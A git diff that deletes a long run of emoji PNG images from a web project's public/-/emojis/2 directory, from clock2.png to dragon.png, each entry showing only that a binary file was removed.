diff --git a/public/-/emojis/2/clock2.png b/public/-/emojis/2/clock2.png
deleted file mode 100644
index f60d61bb90a..00000000000
--- a/public/-/emojis/2/clock2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock230.png b/public/-/emojis/2/clock230.png
deleted file mode 100644
index 4d0843807d8..00000000000
--- a/public/-/emojis/2/clock230.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock3.png b/public/-/emojis/2/clock3.png
deleted file mode 100644
index 5be72cd3cff..00000000000
--- a/public/-/emojis/2/clock3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock330.png b/public/-/emojis/2/clock330.png
deleted file mode 100644
index 971e5ee2450..00000000000
--- a/public/-/emojis/2/clock330.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock4.png b/public/-/emojis/2/clock4.png
deleted file mode 100644
index bf5302c9c9c..00000000000
--- a/public/-/emojis/2/clock4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock430.png b/public/-/emojis/2/clock430.png
deleted file mode 100644
index 0ba315ff447..00000000000
--- a/public/-/emojis/2/clock430.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock5.png b/public/-/emojis/2/clock5.png
deleted file mode 100644
index 08e6e844c1f..00000000000
--- a/public/-/emojis/2/clock5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock530.png b/public/-/emojis/2/clock530.png
deleted file mode 100644
index b7ef02cd65b..00000000000
--- a/public/-/emojis/2/clock530.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock6.png b/public/-/emojis/2/clock6.png
deleted file mode 100644
index 47bbe382073..00000000000
--- a/public/-/emojis/2/clock6.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock630.png b/public/-/emojis/2/clock630.png
deleted file mode 100644
index ca36f196ab6..00000000000
--- a/public/-/emojis/2/clock630.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock7.png b/public/-/emojis/2/clock7.png
deleted file mode 100644
index 4c655384ec0..00000000000
--- a/public/-/emojis/2/clock7.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock730.png b/public/-/emojis/2/clock730.png
deleted file mode 100644
index 63801722d01..00000000000
--- a/public/-/emojis/2/clock730.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock8.png b/public/-/emojis/2/clock8.png
deleted file mode 100644
index ed1742ef480..00000000000
--- a/public/-/emojis/2/clock8.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock830.png b/public/-/emojis/2/clock830.png
deleted file mode 100644
index 3c693c292ba..00000000000
--- a/public/-/emojis/2/clock830.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock9.png b/public/-/emojis/2/clock9.png
deleted file mode 100644
index eae095acf29..00000000000
--- a/public/-/emojis/2/clock9.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock930.png b/public/-/emojis/2/clock930.png
deleted file mode 100644
index 55f150b3613..00000000000
--- a/public/-/emojis/2/clock930.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/closed_book.png b/public/-/emojis/2/closed_book.png
deleted file mode 100644
index 5f88577cb40..00000000000
--- a/public/-/emojis/2/closed_book.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/closed_lock_with_key.png b/public/-/emojis/2/closed_lock_with_key.png
deleted file mode 100644
index 6ce90687c29..00000000000
--- a/public/-/emojis/2/closed_lock_with_key.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/closed_umbrella.png b/public/-/emojis/2/closed_umbrella.png
deleted file mode 100644
index 73bbb5634ad..00000000000
--- a/public/-/emojis/2/closed_umbrella.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cloud.png b/public/-/emojis/2/cloud.png
deleted file mode 100644
index 877f794f318..00000000000
--- a/public/-/emojis/2/cloud.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cloud_lightning.png b/public/-/emojis/2/cloud_lightning.png
deleted file mode 100644
index dfd9f21b00a..00000000000
--- a/public/-/emojis/2/cloud_lightning.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cloud_rain.png b/public/-/emojis/2/cloud_rain.png
deleted file mode 100644
index 206ce50d171..00000000000
--- a/public/-/emojis/2/cloud_rain.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cloud_snow.png b/public/-/emojis/2/cloud_snow.png
deleted file mode 100644
index bbe4387fe87..00000000000
--- a/public/-/emojis/2/cloud_snow.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cloud_tornado.png b/public/-/emojis/2/cloud_tornado.png
deleted file mode 100644
index 7bac4912eca..00000000000
--- a/public/-/emojis/2/cloud_tornado.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clown.png b/public/-/emojis/2/clown.png
deleted file mode 100644
index bd0ebc6ef90..00000000000
--- a/public/-/emojis/2/clown.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clubs.png b/public/-/emojis/2/clubs.png
deleted file mode 100644
index 4faa63a4aeb..00000000000
--- a/public/-/emojis/2/clubs.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/coat.png b/public/-/emojis/2/coat.png
deleted file mode 100644
index 7bd5c653105..00000000000
--- a/public/-/emojis/2/coat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cocktail.png b/public/-/emojis/2/cocktail.png
deleted file mode 100644
index 71e8e0acb23..00000000000
--- a/public/-/emojis/2/cocktail.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/coconut.png b/public/-/emojis/2/coconut.png
deleted file mode 100644
index 1f36a0bcbd4..00000000000
--- a/public/-/emojis/2/coconut.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/coffee.png b/public/-/emojis/2/coffee.png
deleted file mode 100644
index 349b4ed7d84..00000000000
--- a/public/-/emojis/2/coffee.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/coffin.png b/public/-/emojis/2/coffin.png
deleted file mode 100644
index 2a59f2a8173..00000000000
--- a/public/-/emojis/2/coffin.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cold_face.png b/public/-/emojis/2/cold_face.png
deleted file mode 100644
index 0205acb44d7..00000000000
--- a/public/-/emojis/2/cold_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cold_sweat.png b/public/-/emojis/2/cold_sweat.png
deleted file mode 100644
index 3bf6398762a..00000000000
--- a/public/-/emojis/2/cold_sweat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/comet.png b/public/-/emojis/2/comet.png
deleted file mode 100644
index 35e2de66532..00000000000
--- a/public/-/emojis/2/comet.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/compass.png b/public/-/emojis/2/compass.png
deleted file mode 100644
index 3f6c0f3fbcd..00000000000
--- a/public/-/emojis/2/compass.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/compression.png b/public/-/emojis/2/compression.png
deleted file mode 100644
index 1c8d0e38cf1..00000000000
--- a/public/-/emojis/2/compression.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/computer.png b/public/-/emojis/2/computer.png
deleted file mode 100644
index af4c24b7a82..00000000000
--- a/public/-/emojis/2/computer.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/confetti_ball.png b/public/-/emojis/2/confetti_ball.png
deleted file mode 100644
index 72d1259c78b..00000000000
--- a/public/-/emojis/2/confetti_ball.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/confounded.png b/public/-/emojis/2/confounded.png
deleted file mode 100644
index 1538c204ea4..00000000000
--- a/public/-/emojis/2/confounded.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/confused.png b/public/-/emojis/2/confused.png
deleted file mode 100644
index 1568859e67d..00000000000
--- a/public/-/emojis/2/confused.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/congratulations.png b/public/-/emojis/2/congratulations.png
deleted file mode 100644
index 6b4995c30dd..00000000000
--- a/public/-/emojis/2/congratulations.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/construction.png b/public/-/emojis/2/construction.png
deleted file mode 100644
index adec9994600..00000000000
--- a/public/-/emojis/2/construction.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/construction_site.png b/public/-/emojis/2/construction_site.png
deleted file mode 100644
index 6c91f09d26a..00000000000
--- a/public/-/emojis/2/construction_site.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/construction_worker.png b/public/-/emojis/2/construction_worker.png
deleted file mode 100644
index 4659f67a128..00000000000
--- a/public/-/emojis/2/construction_worker.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/construction_worker_tone1.png b/public/-/emojis/2/construction_worker_tone1.png
deleted file mode 100644
index a7b940eab68..00000000000
--- a/public/-/emojis/2/construction_worker_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/construction_worker_tone2.png b/public/-/emojis/2/construction_worker_tone2.png
deleted file mode 100644
index 6462725f85d..00000000000
--- a/public/-/emojis/2/construction_worker_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/construction_worker_tone3.png b/public/-/emojis/2/construction_worker_tone3.png
deleted file mode 100644
index 0f10fd0de09..00000000000
--- a/public/-/emojis/2/construction_worker_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/construction_worker_tone4.png b/public/-/emojis/2/construction_worker_tone4.png
deleted file mode 100644
index 5e095cc363c..00000000000
--- a/public/-/emojis/2/construction_worker_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/construction_worker_tone5.png b/public/-/emojis/2/construction_worker_tone5.png
deleted file mode 100644
index 6f3957edbcf..00000000000
--- a/public/-/emojis/2/construction_worker_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/control_knobs.png b/public/-/emojis/2/control_knobs.png
deleted file mode 100644
index 886af4adb9a..00000000000
--- a/public/-/emojis/2/control_knobs.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/convenience_store.png b/public/-/emojis/2/convenience_store.png
deleted file mode 100644
index 681dbd443a0..00000000000
--- a/public/-/emojis/2/convenience_store.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cookie.png b/public/-/emojis/2/cookie.png
deleted file mode 100644
index c3588366b9b..00000000000
--- a/public/-/emojis/2/cookie.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cooking.png b/public/-/emojis/2/cooking.png
deleted file mode 100644
index 1bf13d58471..00000000000
--- a/public/-/emojis/2/cooking.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cool.png b/public/-/emojis/2/cool.png
deleted file mode 100644
index 6a2e100ef97..00000000000
--- a/public/-/emojis/2/cool.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cop.png b/public/-/emojis/2/cop.png
deleted file mode 100644
index 14b32166f86..00000000000
--- a/public/-/emojis/2/cop.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cop_tone1.png b/public/-/emojis/2/cop_tone1.png
deleted file mode 100644
index e1169d560fa..00000000000
--- a/public/-/emojis/2/cop_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cop_tone2.png b/public/-/emojis/2/cop_tone2.png
deleted file mode 100644
index 5d2e44eefd9..00000000000
--- a/public/-/emojis/2/cop_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cop_tone3.png b/public/-/emojis/2/cop_tone3.png
deleted file mode 100644
index 3773d66a3d3..00000000000
--- a/public/-/emojis/2/cop_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cop_tone4.png b/public/-/emojis/2/cop_tone4.png
deleted file mode 100644
index 646fe48e067..00000000000
--- a/public/-/emojis/2/cop_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cop_tone5.png b/public/-/emojis/2/cop_tone5.png
deleted file mode 100644
index e7512c655ab..00000000000
--- a/public/-/emojis/2/cop_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/copyright.png b/public/-/emojis/2/copyright.png
deleted file mode 100644
index b0ac2d37379..00000000000
--- a/public/-/emojis/2/copyright.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/corn.png b/public/-/emojis/2/corn.png
deleted file mode 100644
index 81c730f500d..00000000000
--- a/public/-/emojis/2/corn.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/couch.png b/public/-/emojis/2/couch.png
deleted file mode 100644
index eaae632b726..00000000000
--- a/public/-/emojis/2/couch.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/couple.png b/public/-/emojis/2/couple.png
deleted file mode 100644
index b3450ee5e8d..00000000000
--- a/public/-/emojis/2/couple.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/couple_mm.png b/public/-/emojis/2/couple_mm.png
deleted file mode 100644
index e26cb00aefc..00000000000
--- a/public/-/emojis/2/couple_mm.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/couple_with_heart.png b/public/-/emojis/2/couple_with_heart.png
deleted file mode 100644
index 4faf03ab3ee..00000000000
--- a/public/-/emojis/2/couple_with_heart.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/couple_ww.png b/public/-/emojis/2/couple_ww.png
deleted file mode 100644
index a622c1b7f8f..00000000000
--- a/public/-/emojis/2/couple_ww.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/couplekiss.png b/public/-/emojis/2/couplekiss.png
deleted file mode 100644
index 2d1257f9b98..00000000000
--- a/public/-/emojis/2/couplekiss.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cow.png b/public/-/emojis/2/cow.png
deleted file mode 100644
index a4b1b522696..00000000000
--- a/public/-/emojis/2/cow.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cow2.png b/public/-/emojis/2/cow2.png
deleted file mode 100644
index 4fd10151d4d..00000000000
--- a/public/-/emojis/2/cow2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cowboy.png b/public/-/emojis/2/cowboy.png
deleted file mode 100644
index f2e482238b5..00000000000
--- a/public/-/emojis/2/cowboy.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/crab.png b/public/-/emojis/2/crab.png
deleted file mode 100644
index 8a52052f4dc..00000000000
--- a/public/-/emojis/2/crab.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/crayon.png b/public/-/emojis/2/crayon.png
deleted file mode 100644
index 7e746cf67d6..00000000000
--- a/public/-/emojis/2/crayon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/credit_card.png b/public/-/emojis/2/credit_card.png
deleted file mode 100644
index d742b5a7125..00000000000
--- a/public/-/emojis/2/credit_card.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/crescent_moon.png b/public/-/emojis/2/crescent_moon.png
deleted file mode 100644
index b4b97d7a8c5..00000000000
--- a/public/-/emojis/2/crescent_moon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cricket.png b/public/-/emojis/2/cricket.png
deleted file mode 100644
index 86d604fdf33..00000000000
--- a/public/-/emojis/2/cricket.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/crocodile.png b/public/-/emojis/2/crocodile.png
deleted file mode 100644
index f6cb7d94b12..00000000000
--- a/public/-/emojis/2/crocodile.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/croissant.png b/public/-/emojis/2/croissant.png
deleted file mode 100644
index 1fa18a85ee9..00000000000
--- a/public/-/emojis/2/croissant.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cross.png b/public/-/emojis/2/cross.png
deleted file mode 100644
index cd69f335639..00000000000
--- a/public/-/emojis/2/cross.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/crossed_flags.png b/public/-/emojis/2/crossed_flags.png
deleted file mode 100644
index fa693cbe225..00000000000
--- a/public/-/emojis/2/crossed_flags.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/crossed_swords.png b/public/-/emojis/2/crossed_swords.png
deleted file mode 100644
index 3f86b7887b1..00000000000
--- a/public/-/emojis/2/crossed_swords.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/crown.png b/public/-/emojis/2/crown.png
deleted file mode 100644
index ebe44b3174f..00000000000
--- a/public/-/emojis/2/crown.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cruise_ship.png b/public/-/emojis/2/cruise_ship.png
deleted file mode 100644
index 1b1cc5a54ac..00000000000
--- a/public/-/emojis/2/cruise_ship.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cry.png b/public/-/emojis/2/cry.png
deleted file mode 100644
index bf30f9bb111..00000000000
--- a/public/-/emojis/2/cry.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/crying_cat_face.png b/public/-/emojis/2/crying_cat_face.png
deleted file mode 100644
index 21f930a4ce5..00000000000
--- a/public/-/emojis/2/crying_cat_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/crystal_ball.png b/public/-/emojis/2/crystal_ball.png
deleted file mode 100644
index 82dd480a707..00000000000
--- a/public/-/emojis/2/crystal_ball.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cucumber.png b/public/-/emojis/2/cucumber.png
deleted file mode 100644
index 7c2161bfa8a..00000000000
--- a/public/-/emojis/2/cucumber.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cup_with_straw.png b/public/-/emojis/2/cup_with_straw.png
deleted file mode 100644
index 1cc3072cfe7..00000000000
--- a/public/-/emojis/2/cup_with_straw.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cupcake.png b/public/-/emojis/2/cupcake.png
deleted file mode 100644
index 2a96a5ade81..00000000000
--- a/public/-/emojis/2/cupcake.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cupid.png b/public/-/emojis/2/cupid.png
deleted file mode 100644
index 59f7c8474b0..00000000000
--- a/public/-/emojis/2/cupid.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/curling_stone.png b/public/-/emojis/2/curling_stone.png
deleted file mode 100644
index c03e11b33eb..00000000000
--- a/public/-/emojis/2/curling_stone.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/curly_haired.png b/public/-/emojis/2/curly_haired.png
deleted file mode 100644
index 976e9c0b322..00000000000
--- a/public/-/emojis/2/curly_haired.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/curly_loop.png b/public/-/emojis/2/curly_loop.png
deleted file mode 100644
index 07f15833707..00000000000
--- a/public/-/emojis/2/curly_loop.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/currency_exchange.png b/public/-/emojis/2/currency_exchange.png
deleted file mode 100644
index 1fbb0e7de1d..00000000000
--- a/public/-/emojis/2/currency_exchange.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/curry.png b/public/-/emojis/2/curry.png
deleted file mode 100644
index e5078ca7f20..00000000000
--- a/public/-/emojis/2/curry.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/custard.png b/public/-/emojis/2/custard.png
deleted file mode 100644
index 2a9c9e0a65c..00000000000
--- a/public/-/emojis/2/custard.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/customs.png b/public/-/emojis/2/customs.png
deleted file mode 100644
index f3e6ea06503..00000000000
--- a/public/-/emojis/2/customs.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cut_of_meat.png b/public/-/emojis/2/cut_of_meat.png
deleted file mode 100644
index c66b265c727..00000000000
--- a/public/-/emojis/2/cut_of_meat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cyclone.png b/public/-/emojis/2/cyclone.png
deleted file mode 100644
index e62f8e3e59c..00000000000
--- a/public/-/emojis/2/cyclone.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dagger.png b/public/-/emojis/2/dagger.png
deleted file mode 100644
index 622fa132331..00000000000
--- a/public/-/emojis/2/dagger.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dancer.png b/public/-/emojis/2/dancer.png
deleted file mode 100644
index b14bff823fb..00000000000
--- a/public/-/emojis/2/dancer.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dancer_tone1.png b/public/-/emojis/2/dancer_tone1.png
deleted file mode 100644
index fe7b1e9debf..00000000000
--- a/public/-/emojis/2/dancer_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dancer_tone2.png b/public/-/emojis/2/dancer_tone2.png
deleted file mode 100644
index b208e68b2a4..00000000000
--- a/public/-/emojis/2/dancer_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dancer_tone3.png b/public/-/emojis/2/dancer_tone3.png
deleted file mode 100644
index e832818462b..00000000000
--- a/public/-/emojis/2/dancer_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dancer_tone4.png b/public/-/emojis/2/dancer_tone4.png
deleted file mode 100644
index fe9c1013643..00000000000
--- a/public/-/emojis/2/dancer_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dancer_tone5.png b/public/-/emojis/2/dancer_tone5.png
deleted file mode 100644
index 7a5ed995f45..00000000000
--- a/public/-/emojis/2/dancer_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dancers.png b/public/-/emojis/2/dancers.png
deleted file mode 100644
index c4b1aa23a80..00000000000
--- a/public/-/emojis/2/dancers.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dango.png b/public/-/emojis/2/dango.png
deleted file mode 100644
index 06ec9f06d5f..00000000000
--- a/public/-/emojis/2/dango.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dark_sunglasses.png b/public/-/emojis/2/dark_sunglasses.png
deleted file mode 100644
index cf946495cfe..00000000000
--- a/public/-/emojis/2/dark_sunglasses.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dart.png b/public/-/emojis/2/dart.png
deleted file mode 100644
index 1b62507fda0..00000000000
--- a/public/-/emojis/2/dart.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dash.png b/public/-/emojis/2/dash.png
deleted file mode 100644
index 71faba75bce..00000000000
--- a/public/-/emojis/2/dash.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/date.png b/public/-/emojis/2/date.png
deleted file mode 100644
index cc271310062..00000000000
--- a/public/-/emojis/2/date.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/deciduous_tree.png b/public/-/emojis/2/deciduous_tree.png
deleted file mode 100644
index 621f7b3f8ed..00000000000
--- a/public/-/emojis/2/deciduous_tree.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/deer.png b/public/-/emojis/2/deer.png
deleted file mode 100644
index 4a711617789..00000000000
--- a/public/-/emojis/2/deer.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/department_store.png b/public/-/emojis/2/department_store.png
deleted file mode 100644
index b1e3c79b02b..00000000000
--- a/public/-/emojis/2/department_store.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/desert.png b/public/-/emojis/2/desert.png
deleted file mode 100644
index cc91fbb370c..00000000000
--- a/public/-/emojis/2/desert.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/desktop.png b/public/-/emojis/2/desktop.png
deleted file mode 100644
index 96c05bff62c..00000000000
--- a/public/-/emojis/2/desktop.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/diamond_shape_with_a_dot_inside.png b/public/-/emojis/2/diamond_shape_with_a_dot_inside.png
deleted file mode 100644
index c16df4530b8..00000000000
--- a/public/-/emojis/2/diamond_shape_with_a_dot_inside.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/diamonds.png b/public/-/emojis/2/diamonds.png
deleted file mode 100644
index 347c599a8b6..00000000000
--- a/public/-/emojis/2/diamonds.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/digit_eight.png b/public/-/emojis/2/digit_eight.png
deleted file mode 100644
index 5b983635bab..00000000000
--- a/public/-/emojis/2/digit_eight.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/digit_five.png b/public/-/emojis/2/digit_five.png
deleted file mode 100644
index 3f0b901513e..00000000000
--- a/public/-/emojis/2/digit_five.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/digit_four.png b/public/-/emojis/2/digit_four.png
deleted file mode 100644
index 85190d27414..00000000000
--- a/public/-/emojis/2/digit_four.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/digit_nine.png b/public/-/emojis/2/digit_nine.png
deleted file mode 100644
index d343a9d0050..00000000000
--- a/public/-/emojis/2/digit_nine.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/digit_one.png b/public/-/emojis/2/digit_one.png
deleted file mode 100644
index 360941a610d..00000000000
--- a/public/-/emojis/2/digit_one.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/digit_seven.png b/public/-/emojis/2/digit_seven.png
deleted file mode 100644
index a7da66d76c5..00000000000
--- a/public/-/emojis/2/digit_seven.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/digit_six.png b/public/-/emojis/2/digit_six.png
deleted file mode 100644
index 9c891b4a049..00000000000
--- a/public/-/emojis/2/digit_six.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/digit_three.png b/public/-/emojis/2/digit_three.png
deleted file mode 100644
index 318411ec6ec..00000000000
--- a/public/-/emojis/2/digit_three.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/digit_two.png b/public/-/emojis/2/digit_two.png
deleted file mode 100644
index 4875731e478..00000000000
--- a/public/-/emojis/2/digit_two.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/digit_zero.png b/public/-/emojis/2/digit_zero.png
deleted file mode 100644
index 6428acd44e8..00000000000
--- a/public/-/emojis/2/digit_zero.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/disappointed.png b/public/-/emojis/2/disappointed.png
deleted file mode 100644
index c6af01a4167..00000000000
--- a/public/-/emojis/2/disappointed.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/disappointed_relieved.png b/public/-/emojis/2/disappointed_relieved.png
deleted file mode 100644
index 070a0854463..00000000000
--- a/public/-/emojis/2/disappointed_relieved.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dividers.png b/public/-/emojis/2/dividers.png
deleted file mode 100644
index 5cfe4b2e006..00000000000
--- a/public/-/emojis/2/dividers.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dizzy.png b/public/-/emojis/2/dizzy.png
deleted file mode 100644
index daf0157e3bd..00000000000
--- a/public/-/emojis/2/dizzy.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dizzy_face.png b/public/-/emojis/2/dizzy_face.png
deleted file mode 100644
index 70bcd5ebd98..00000000000
--- a/public/-/emojis/2/dizzy_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dna.png b/public/-/emojis/2/dna.png
deleted file mode 100644
index bad7221b6cc..00000000000
--- a/public/-/emojis/2/dna.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/do_not_litter.png b/public/-/emojis/2/do_not_litter.png
deleted file mode 100644
index 4477b701d60..00000000000
--- a/public/-/emojis/2/do_not_litter.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dog.png b/public/-/emojis/2/dog.png
deleted file mode 100644
index 5cfcfb5c803..00000000000
--- a/public/-/emojis/2/dog.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dog2.png b/public/-/emojis/2/dog2.png
deleted file mode 100644
index a26cb030afa..00000000000
--- a/public/-/emojis/2/dog2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dollar.png b/public/-/emojis/2/dollar.png
deleted file mode 100644
index 02391a9758e..00000000000
--- a/public/-/emojis/2/dollar.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dolls.png b/public/-/emojis/2/dolls.png
deleted file mode 100644
index f50b117c095..00000000000
--- a/public/-/emojis/2/dolls.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dolphin.png b/public/-/emojis/2/dolphin.png
deleted file mode 100644
index c4a0f5d4c8c..00000000000
--- a/public/-/emojis/2/dolphin.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/door.png b/public/-/emojis/2/door.png
deleted file mode 100644
index d0407903f1e..00000000000
--- a/public/-/emojis/2/door.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/doughnut.png b/public/-/emojis/2/doughnut.png
deleted file mode 100644
index a34df5fb140..00000000000
--- a/public/-/emojis/2/doughnut.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dove.png b/public/-/emojis/2/dove.png
deleted file mode 100644
index cbc058083b5..00000000000
--- a/public/-/emojis/2/dove.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dragon.png b/public/-/emojis/2/dragon.png
deleted file mode 100644
